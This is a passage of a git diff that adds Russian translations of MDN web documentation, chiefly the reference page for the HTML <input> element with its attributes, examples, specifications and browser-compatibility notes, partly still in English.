+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.4', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+   <td>2 или ранее</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type=image</td>
+   <td>1.0</td>
+   <td>Gecko 2.0 only sends x and y coordinates when clicked, not longer the name/value of the element</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td style="white-space: nowrap;">type=image</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<dl>
+ <dt>
+ <h2 id="Смотри_также">Смотри также</h2>
+ </dt>
+</dl>
diff --git a/files/ru/web/html/element/input/index.html b/files/ru/web/html/element/input/index.html
new file mode 100644
index 0000000000..7899ede12e
--- /dev/null
+++ b/files/ru/web/html/element/input/index.html
@@ -0,0 +1,311 @@
+---
+title: <input>
+slug: Web/HTML/Element/Input
+translation_of: Web/HTML/Element/input
+---
+<h2 id="Описание">Описание</h2>
+
+<p><strong>Элемент</strong> <strong>HTML <code>&lt;input&gt;</code></strong> используется для создания интерактивных элементов управления в веб-формах для получения данных от пользователя; в зависимости от устройства и {{Glossary("user agent")}}, доступен широкий выбор типов входных данных и виджетов управления. Из-за огромного количества возможных сочетаний типов ввода и атрибутов это один из самых мощных и сложных элементов HTML.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories">Content categories</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, listed, submittable, resettable, form-associated element, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>.<br>
+  If the {{htmlattrxref("type", "input")}} has not the <code>hidden</code> value, labellable element, palpable content.</li>
+ <li><dfn>Permitted content</dfn> None, it is an {{Glossary("empty element")}}.</li>
+ <li><dfn>Tag omission</dfn> Must have a start tag and must not have an end tag.</li>
+ <li><dfn>Permitted parent elements</dfn> Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>.</li>
+ <li><dfn>DOM interface</dfn> {{domxref("HTMLInputElement")}}</li>
+</ul>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент содержит <a href="/en-US/docs/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<ul>
+ <li>Расширение файла, начинающееся с символа точки (U+002E). Наприм., '.jpg, .png, .doc)</li>
+ <li>Валидный тип MIME без расширения</li>
+ <li><code>audio/*</code> для аудиофайлов {{HTMLVersionInline("5")}}</li>
+ <li><code>video/*</code> для видеофайлов {{HTMLVersionInline("5")}}</li>
+ <li><code>image/*</code> для файлов с изображениями {{HTMLVersionInline("5")}}</li>
+</ul>
+
+<dl>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Тип элемента для отображения. Если этот атрибут не указан, по умолчанию используется <code>text</code>. Возможными значениями являются:
+ <ul>
+  <li><code>button</code>: Кнопка без предопределенного поведения.</li>
+  <li><code>checkbox</code>: Флажок («чекбокс»). Следует использовать атрибут <strong>value </strong>для определения значения, которое будет отдано этим элементом. Используйте атрибут <strong>checked</strong>, чтобы указать, должен ли флажок быть выставлен. Можно также использовать атрибут <strong>indeterminate</strong>, чтобы указать, что флажок находится в неопределённом состоянии (на большинстве платформ при этом рисуется горизонтальная линия поперёк флажка).</li>
+  <li><code>color</code>: {{HTMLVersionInline("5")}} Элемент управления цветом. Пользовательский интерфейс выбора цвета не имеет никаких других функций, кроме принятия простых цветов в виде текста (<a href="http://www.w3.org/TR/html5/forms.html#color-state-(type=color)">больше информации</a>).</li>
+  <li><code>date</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода даты (год, месяц и день, без времени).</li>
+  <li><code>datetime</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода даты и времени (час, минута, секунда и доля секунды) в соответствии с часовым поясом UTC.</li>
+  <li><code>datetime-local</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода даты и времени без часового пояса.</li>
+  <li><code>email</code>: {{HTMLVersionInline("5")}} Поле для редактирования адреса электронной почты. Перед отправкой проверяется, что входное значение содержит либо пустую строку, либо один действительный адрес электронной почты. Соответствуют CSS псевдо-классам {{cssxref(":valid")}} and {{cssxref(":invalid")}}.</li>
+  <li><code>file</code>: Элемент управления, который позволяет пользователю выбрать файл. Используйте атрибут <strong>accept</strong>, чтобы определить типы файлов, которые могут быть выбраны.</li>
+  <li><code>hidden</code>: Элемент управления, которые не отображается, но чье значение отправлено на сервер.</li>
+  <li><code>image</code>: Кнопка вставки изображения. Вы должны использовать атрибут <strong>src</strong>, чтобы определить путь к изображению и атрибут <strong>alt</strong> - для определения альтернативного текста. Вы можете использовать атрибуты <strong>height</strong> и <strong>width</strong>, чтобы определить размер вставки изображения в пикселях.</li>
+  <li><code>month</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода месяца и года без часового пояса.</li>
+  <li><code>number</code>: {{HTMLVersionInline("5")}} Элемент управления ввода числа(тип <strong>float</strong>).</li>
+  <li><code>password</code>: Однострочное текстовое поле, чье значение скрыто символом "звездочка". Используйте атрибуты <strong>minlength</strong> и <strong>maxlength</strong>, чтобы указать минимальную и максимальную длину значения, которое может быть введено.
+   <div class="blockIndicator note">Любые формы, в которых присутствует важная информация(например, пароль), должны быть обработаны через HTTPS; в настоящий момент Firefox реализует составной механизм предупреждения, направленные против небезопасных форм для входа в систему - смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Insecure_passwords">Небезопасные пароли</a>.</div>
+  </li>
+  <li><code>radio</code>: Кнопка-переключатель, позволяет выбрать одно значение из множественного выбора.</li>
+  <li><code>range</code>: {{HTMLVersionInline("5")}}Элемент управления для ввода числа, точное значение которого не имеет значения. Этот тип управления использует следующие значения по умолчанию, если соответствующие атрибуты не указаны:
+   <ul>
+    <li><code>min</code>: 0</li>
+    <li><code>max</code>: 100</li>
+    <li><code>value</code>: <code>min</code> + (<code>max</code>-<code>min</code>)/2, or <code>min</code> if <code>max</code> is less than <code>min</code></li>
+    <li><code>step</code>: 1</li>
+   </ul>
+  </li>
+  <li><code>reset</code>: Кнопка сброса содержимого формы в состояние по умолчанию.</li>
+  <li><code>search</code>: {{HTMLVersionInline("5")}}Однострочное текстовое поле для ввода строк поиска; разрывы строк автоматически удаляются из входного значения.</li>
+  <li><code>submit</code>: Кнопка для отправления формы.</li>
+  <li><code>tel</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода номера телефона; разрывы строк автоматически удаляются из входного значения, но никакой другой синтаксис не применяется. Можно использовать такие атрибуты как <strong>pattern</strong> и <strong>maxlength</strong>, чтобы ограничить вводимое значение.<br>
+   Псевдоклассы CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} применяются при необходимости..</li>
+  <li><code>text</code>: Однострочное текстовое поле. Переносы строк автоматически удаляются из входного значения.</li>
+  <li><code>time</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода значения времени без часового пояса.</li>
+  <li><code>url</code>: {{HTMLVersionInline("5")}} Поле для редактирования URI. Введенное значение должно содержать либо пустую строку, либо допустимый абсолютный URL. В противном случае значение не будет принято. Переводы строк, лидирующие и завершающие пробельные символы будут автоматически удалены из введенного значения. Можно использовать такие атрибуты как <strong>pattern</strong> или <strong>maxlength</strong>, чтобы ограничить вводимые значения. Псевдоклассы CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} применяются при необходимости.</li>
+  <li><code>week</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода даты, содержащей число неделя-год и номер недели без часового пояса.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("accept")}}</dt>
+ <dd>В случае, если значением атрибута <strong>type</strong> является <code>file</code>, данный атрибут определяет типы файлов, которые сервер может принять. В противном случае файл игнорируется. Значение должно быть списком уникальных спецификаторов типов содержания, разделенным запятыми:</dd>
+ <dt>{{htmlattrdef("accesskey")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline", "HTML5")}}</dt>
+ <dd>Одиночный символ, который пользователь может нажать, чтобы переключить фокус на элемент управления.</dd>
+ <dt>{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</dt>
+ <dd>Определяет "действие-подсказку", которая используется для определения того, как будет обозначаться клавиша enter на мобильных устройствах с виртуальной клавиатурой. Поддерживаемые значения: <code>go</code>, <code>done</code>, <code>next</code>, <code>search</code>, и <code>send</code>; они автоматически сопоставляются с необходимой строкой (являются чувствительными к регистру).</dd>
+ <dt>{{htmlattrdef("autocomplete")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Этот атрибут указывает, разрешено ли автоматическое заполнение поля браузером. Разрешено по умолчанию, даже если не указано. Данный атрибут игнорируется, если атрибут <strong>type</strong> равен <code>hidden, password,</code> <code>checkbox</code>, <code>radio</code>, <code>file</code>, или <strong>type</strong> кнопка (<code>button</code>, <code>submit</code>, <code>reset</code>, <code>image</code>). Возможные значения:
+ <ul>
+  <li><code>off</code>: Пользователь должен каждый раз полностью вводить значение в поле или документ предусматривает свой собственный метод автозаполнения; браузер не делает автоматического заполнения записи.</li>
+  <li><code>on</code>: Браузер автоматически заканчивает значение поля, основываясь на значениях, которые вводились пользователем ранее.</li>
+ </ul>
+
+ <p>Если не атрибут <strong>autocomplete</strong> не указан в <code>&lt;input&gt;</code>, тогда браузер использует атрибут <strong>autocomplete</strong> формы, которая является родительской для данной формы. The form owner is either the <code>form</code> element that this <code>&lt;input&gt;</code> element is a descendant of or the form element whose <strong>id</strong> is specified by the <strong>form</strong> attribute of the input element. For more information, see the {{htmlattrxref("autocomplete", "form")}} attribute in {{HTMLElement("form")}}.</p>
+ </dd>
+ <dt>{{htmlattrdef("autofocus")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This Boolean attribute lets you specify that a form control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form element in a document can have the <strong>autofocus</strong> attribute, which is a Boolean. It cannot be applied if the <strong>type</strong> attribute is set to <code>hidden</code> (that is, you cannot automatically set focus to a hidden control).</dd>
+ <dt>{{htmlattrdef("autosave")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute should be defined as a unique value. If the value of the type attribute is <code>search</code>, previous search term values will persist in the dropdown across page load.</dd>
+ <dt>{{htmlattrdef("checked")}}</dt>
+ <dd>When the value of the <strong>type</strong> attribute is <code>radio</code> or <code>checkbox</code>, the presence of this Boolean attribute indicates that the control is selected by default; otherwise it is ignored.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>This Boolean attribute indicates that the form control is not available for interaction. In particular, the <code>click</code> event <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#enabling-and-disabling-form-controls">will not be dispatched</a> on disabled controls. Also, a disabled control's value isn't submitted with the form.</dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The form element that the input element is associated with (its <em>form owner</em>). The value of the attribute must be an <strong>id</strong> of a {{HTMLElement("form")}} element in the same document. If this attribute is not specified, this <code>&lt;input&gt;</code> element must be a descendant of a {{HTMLElement("form")}} element. This attribute enables you to place <code>&lt;input&gt;</code> elements anywhere within a document, not just as descendants of their form elements. An input can only be associated with one form.</dd>
+ <dt>{{htmlattrdef("formaction")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The URI of a program that processes the information submitted by the input element, if it is a submit button or image. If specified, it overrides the {{htmlattrxref("action","form")}} attribute of the element's form owner.</dd>
+ <dt>{{htmlattrdef("formenctype")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the input element is a submit button or image, this attribute specifies the type of content that is used to submit the form to the server. Possible values are:
+ <ul>
+  <li><code>application/x-www-form-urlencoded</code>: The default value if the attribute is not specified.</li>
+  <li><code>multipart/form-data</code>: Use this value if you are using an {{HTMLElement("input")}} element with the {{htmlattrxref("type","input")}} attribute set to <code>file</code>.</li>
+  <li><code>text/plain</code></li>
+ </ul>
+
+ <p>If this attribute is specified, it overrides the {{htmlattrxref("enctype","form")}} attribute of the element's form owner.</p>
+ </dd>
+ <dt>{{htmlattrdef("formmethod")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the input element is a submit button or image, this attribute specifies the HTTP method that the browser uses to submit the form. Possible values are:
+ <ul>
+  <li><code>post</code>: The data from the form is included in the body of the form and is sent to the server.</li>
+  <li><code>get</code>: The data from the form are appended to the <strong>form</strong> attribute URI, with a '?' as a separator, and the resulting URI is sent to the server. Use this method when the form has no side-effects and contains only ASCII characters.</li>
+ </ul>
+
+ <p>If specified, this attribute overrides the {{htmlattrxref("method","form")}} attribute of the element's form owner.</p>
+ </dd>
+ <dt>{{htmlattrdef("formnovalidate")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the input element is a submit button or image, this Boolean attribute specifies that the form is not to be validated when it is submitted. If this attribute is specified, it overrides the {{htmlattrxref("novalidate","form")}} attribute of the element's form owner.</dd>
+ <dt>{{htmlattrdef("formtarget")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the input element is a submit button or image, this attribute is a name or keyword indicating where to display the response that is received after submitting the form. This is a name of, or keyword for, a <em>browsing context</em> (for example, tab, window, or inline frame). If this attribute is specified, it overrides the {{htmlattrxref("target", "form")}} attribute of the elements's form owner. The following keywords have special meanings:
+ <ul>
+  <li>_<code>self</code>: Load the response into the same browsing context as the current one. This value is the default if the attribute is not specified.</li>
+  <li><code>_blank</code>: Load the response into a new unnamed browsing context.</li>
+  <li><code>_parent</code>: Load the response into the parent browsing context of the current one. If there is no parent, this option behaves the same way as <code>_self</code>.</li>
+  <li><code>_top</code>: Load the response into the top-level browsing context (that is, the browsing context that is an ancestor of the current one, and has no parent). If there is no parent, this option behaves the same way as <code>_self</code>.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("height")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>image</code>, this attribute defines the height of the image displayed for the button.</dd>
+ <dt>{{htmlattrdef("inputmode")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>A hint to the browser for which keyboard to display. This attribute applies when the value of the <strong>type</strong> attribute is text, password, email, or url. Possible values are:
+ <ul>
+  <li><code>verbatim</code>: Alphanumeric, non-prose content such as usernames and passwords.</li>
+  <li><code>latin</code>: Latin-script input in the user's preferred language with typing aids such as text prediction enabled. For human-to-computer communication such as search boxes.</li>
+  <li><code>latin-name</code>: As <em>latin</em>, but for human names.</li>
+  <li><code>latin-prose</code>: As <em>latin</em>, but with more aggressive typing aids. For human-to-human communication such as instant messaging for email.</li>
+  <li><code>full-width-latin</code>: As <em>latin-prose</em>, but for the user's secondary languages.</li>
+  <li><code>kana</code>: Kana or romaji input, typically hiragana input, using full-width characters, with support for converting to kanji. Intended for Japanese text input.</li>
+  <li><code>katakana</code>: Katakana input, using full-width characters, with support for converting to kanji. Intended for Japanese text input.</li>
+  <li><code>numeric</code>: Numeric input, including keys for the digits 0 to 9, the user's preferred thousands separator character, and the character for indicating negative numbers. Intended for numeric codes, e.g. credit card numbers. For actual numbers, prefer using &lt;input type="number"&gt;</li>
+  <li><code>tel</code>: Telephone input, including asterisk and pound key. Use &lt;input type="tel"&gt; if possible instead.</li>
+  <li><code>email</code>: Email input. Use &lt;input type="email"&gt; if possible instead.</li>
+  <li><code>url</code>: URL input. Use &lt;input type="url"&gt; if possible instead.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("list")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>В атрибуте указывает <code>id</code> элемента {{HTMLElement("datalist")}}, в котором находится список предопределенных значений для заполнения. Браузер отображает только те варианты, которые соответствуют введенным символами. Этот атрибут игнорируется, когда атрибут <strong>type</strong> принимает значения <code>hidden</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, или <strong>type</strong> в качестве кнопки.</dd>
+ <dt>{{htmlattrdef("max")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The maximum (numeric or date-time) value for this item, which must not be less than its minimum (<strong>min</strong> attribute) value.</dd>
+ <dt>{{htmlattrdef("maxlength")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>text</code>, <code>email</code>,<code> search</code>, <code>password</code>, <code>tel</code>, or <code>url</code>, this attribute specifies the maximum number of characters (in Unicode code points) that the user can enter; for other control types, it is ignored. It can exceed the value of the <strong>size</strong> attribute. If it is not specified, the user can enter an unlimited number of characters. Specifying a negative number results in the default behavior; that is, the user can enter an unlimited number of characters. The constraint is evaluated only when the value of the attribute has been changed.</dd>
+ <dt>{{htmlattrdef("min")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The minimum (numeric or date-time) value for this item, which must not be greater than its maximum (<strong>max</strong> attribute) value.</dd>
+ <dt>{{htmlattrdef("minlength")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>text</code>, <code>email</code>,<code> search</code>, <code>password</code>, <code>tel</code>, or <code>url</code>, this attribute specifies the minimum number of characters (in Unicode code points) that the user can enter; for other control types, it is ignored.</dd>
+ <dt>{{htmlattrdef("multiple")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Этот Boolean атрибут указывает, может ли пользователь вводить несколько значений. Этот атрибут применяется, если для атрибута type задано значение <code>email</code> или <code>file</code>; в противном случае он игнорируется. </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>The name of the control, which is submitted with the form data.</dd>
+ <dt>{{htmlattrdef("pattern")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>A regular expression that the control's value is checked against. The pattern must match the entire value, not just some subset. Use the <strong>title</strong> attribute to describe the pattern to help the user. This attribute applies when the value of the <strong>type</strong> attribute is <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code> or <code>email</code>; otherwise it is ignored. The regular expression language is the same as JavaScript's. The pattern is not surrounded by forward slashes.</dd>
+ <dt>{{htmlattrdef("placeholder")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>A hint to the user of what can be entered in the control . The placeholder text must not contain carriage returns or line-feeds. This attribute applies when the value of the <strong>type</strong> attribute is <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code> or <code>email</code>; otherwise it is ignored.
+ <div class="note"><strong>Note:</strong> Do not use the <code>placeholder</code> attribute instead of a {{HTMLElement("label")}} element. Their purposes are different: the {{HTMLElement("label")}} attribute describes the role of the form element; that is, it indicates what kind of information is expected, the <code>placeholder</code> attribute is a hint about the format the content should take. There are cases in which the <code>placeholder</code> attribute is never displayed to the user, so the form must be understandable without it.</div>
+ </dd>
+ <dt>{{htmlattrdef("readonly")}}</dt>
+ <dd>This Boolean attribute indicates that the user cannot modify the value of the control.
+ <p>{{HTMLVersionInline("5")}} This attribute is ignored if the value of the <strong>type</strong> attribute is <code>hidden</code>, <code>range</code>, <code>color</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or a button type.</p>
+ </dd>
+ <dt>{{htmlattrdef("required")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute specifies that the user must fill in a value before submitting a form. It cannot be used when the <strong>type</strong> attribute is <code>hidden</code>, <code>image</code>, or a button type (<code>submit</code>, <code>reset</code>, or <code>button</code>). The {{cssxref(":optional")}} and {{cssxref(":required")}} CSS pseudo-classes will be applied to the field as appropriate.</dd>
+ <dt>{{htmlattrdef("selectionDirection")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The direction in which selection occurred. This is "forward" if the selection was made from left-to-right in an LTR locale or right-to-left in an RTL locale, or "backward" if the selection was made in the opposite direction. This can be "none" if the selection direction is unknown.</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>The initial size of the control. This value is in pixels unless the value of the <strong>type</strong> attribute is <code>text</code> or <code>password</code>, in which case, it is an integer number of characters. Starting in HTML5, this attribute applies only when the <strong>type</strong> attribute is set to <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code>, <code>email</code>, or <code>password</code>; otherwise it is ignored. In addition, the size must be greater than zero. If you don't specify a size, a default value of 20 is used.</dd>
+ <dt>{{htmlattrdef("spellcheck")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Setting the value of this attribute to <code>true</code> indicates that the element needs to have its spelling and grammar checked. The value <code>default</code> indicates that the element is to act according to a default behavior, possibly based on the parent element's own <code>spellcheck</code> value. The value <code>false</code> indicates that the element should not be checked.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>image</code>, this attribute specifies a URI for the location of an image to display on the graphical submit button; otherwise it is ignored.</dd>
+ <dt>{{htmlattrdef("step")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Works with the <strong>min</strong> and <strong>max</strong> attributes to limit the increments at which a numeric or date-time value can be set. It can be the string <code>any</code> or a positive floating point number. If this attribute is not set to <code>any</code>, the control accepts only values at multiples of the step value greater than the minimum.</dd>
+ <dt>{{htmlattrdef("tabindex")}} element-specific in {{HTMLVersionInline(4)}}, global in {{HTMLVersionInline("5")}}</dt>
+ <dd>The position of the element in the tabbing navigation order for the current document.</dd>
+ <dt>{{htmlattrdef("usemap")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline", "HTML5")}}</dt>
+ <dd>The name of a {{HTMLElement("map")}} element to as an image map.</dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>The initial value of the control. This attribute is optional except when the value of the <strong>type</strong> attribute is <code>radio</code> or <code>checkbox</code>.<br>
+ Note that when reloading the page, Gecko and IE <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=46845#c186">will ignore the value specified in the HTML source</a>, if the value was changed before the reload.</dd>
+ <dt>{{htmlattrdef("width")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>image</code>, this attribute defines the width of the image displayed for the button.</dd>
+ <dt>{{htmlattrdef("x-moz-errormessage")}} {{non-standard_inline}}</dt>
+ <dd>This Mozilla extension allows you to specify the error message to display when a field doesn't successfully validate.</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<h3 id="File_inputs">File inputs</h3>
+
+<div class="note">
+<p><strong>Note:</strong> Starting in {{Gecko("2.0")}}, calling the <code>click()</code> method on an {{HTMLElement("input")}} element of type "file" opens the file picker and lets the user select files. See <a href="/en-US/docs/Using_files_from_web_applications">Using files from web applications</a> for an example and more details.</p>
+</div>
+
+<p>You can't set the value of a file picker from a script; doing something like the following has no effect:</p>
+
+<pre class="brush: js">var e = getElementById("someFileInputElement");
+e.value = "foo";
+</pre>
+
+<h3 id="Error_messages">Error messages</h3>
+
+<p>If you want Firefox to present a custom error message when a field fails to validate, you can use the <code>x-moz-errormessage</code> attribute to do so:</p>
+
+<pre class="brush: html">&lt;input type="email" x-moz-errormessage="Please specify a valid email address."&gt;
+</pre>
+
+<p>Note, however, that this is not standard and will not have an effect on other browsers.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="A_simple_input_box">A simple input box</h3>
+
+<pre class="brush: html">&lt;!-- A basic input --&gt;
+&lt;input type="text" name="input" value="Type here"&gt;
+</pre>
+
+<p><input></p>
+
+<h3 id="A_common_use-case_scenario">A common use-case scenario</h3>
+
+<pre class="brush: html">&lt;!-- A common form that includes input tags --&gt;
+&lt;form action="getform.php" method="get"&gt;
+    First name: &lt;input type="text" name="first_name" /&gt;&lt;br /&gt;
+     Last name: &lt;input type="text" name="last_name" /&gt;&lt;br /&gt;
+        E-mail: &lt;input type="email" name="user_email" /&gt;&lt;br /&gt;
+&lt;input type="submit" value="Submit" /&gt;
+&lt;/form&gt;
+</pre>
+
+<h3 id="Using_mozactionhint_on_Firefox_mobile">Using mozactionhint on Firefox mobile</h3>
+
+<p>You can use the {{htmlattrxref("mozactionhint", "input")}} attribute to specify the text for the label of the enter key on the virtual keyboard when your form is rendered on Firefox mobile. For example, to have a "Next" label, you can do this:</p>
+
+<pre class="brush: html">&lt;input type="text" mozactionhint="next" name="sometext" /&gt;
+</pre>
+
+<p>The result is:</p>
+
+<p><a href="/@api/deki/files/4970/=mozactionhint.png"><img alt="mozactionhint.png" class="default internal" src="/@api/deki/files/4970/=mozactionhint.png?size=webview" style="border: 1px solid black; height: 350px; width: 210px;"></a></p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-input-element.html#the-input-element', '&lt;input&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-input-element', '&lt;input&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.4', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("html.elements.input")}}</p>
+
+<p>[1] Распознаётся, но UI отсутствует.</p>
+
+<p>[2] Отсутствует для <code>type="checkbox"</code> и <code>type="radio"</code>.</p>
+
+<p>[3] В Safari <code>autocapitalize="words"</code> переводит в верхний регистр каждый второй символ слова.</p>
+
+<p>[4] <code>datetime</code> был удалён из спецификации и браузеров в пользу <code>datetime-local</code>.</p>
+
+<p>[5] См {{bug(1355389)}}</p>
+
+<p>[6] Ещё не имплементировано. Наблюдать: {{bug("888320")}} и <a href="https://wiki.mozilla.org/TPE_DOM/Date_time_input_types">TPE DOM/Date time input types</a>.</p>
+
+<h3 id="Gecko_notes">Gecko notes</h3>
+
+<p>Starting in Gecko 9.0 {{geckoRelease("9.0")}}, Firefox for Android lets users capture images using their camera and upload them, without having to leave the browser. Web developers can implement this feature by simply specifying setting the <code>accept</code> attribute's value to "image/*" on their <code>file</code> input, like this:</p>
+
+<p><code>&lt;input type="file" accept="image/*"&gt;</code></p>
+
+<p>Firefox for Android sets a default {{ cssxref("background-image") }} gradient on all <code>type="text"</code>, <code>type="file"</code>, <code>type="button"</code>, and <code>type="submit"</code> inputs. This can be disabled using <code>background-image: none</code>.</p>
+
+<p>Firefox for Android also sets a default {{ cssxref("border") }} on all <code>&lt;input type="file"&gt;</code> elements.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other form-related elements: {{HTMLElement("form")}}, {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} and {{HTMLElement("meter")}}.</li>
+ <li><a class="external" href="http://webdesignerwall.com/tutorials/cross-browser-html5-placeholder-text">Cross-browser HTML5 placeholder text</a></li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ru/web/html/element/input/number/index.html b/files/ru/web/html/element/input/number/index.html
new file mode 100644
index 0000000000..93f1fb2525
--- /dev/null
+++ b/files/ru/web/html/element/input/number/index.html
@@ -0,0 +1,420 @@
+---
+title: <input type="number">
+slug: Web/HTML/Element/Input/number
+translation_of: Web/HTML/Element/input/number
+---
+<div>{{HTMLRef}}</div>
+
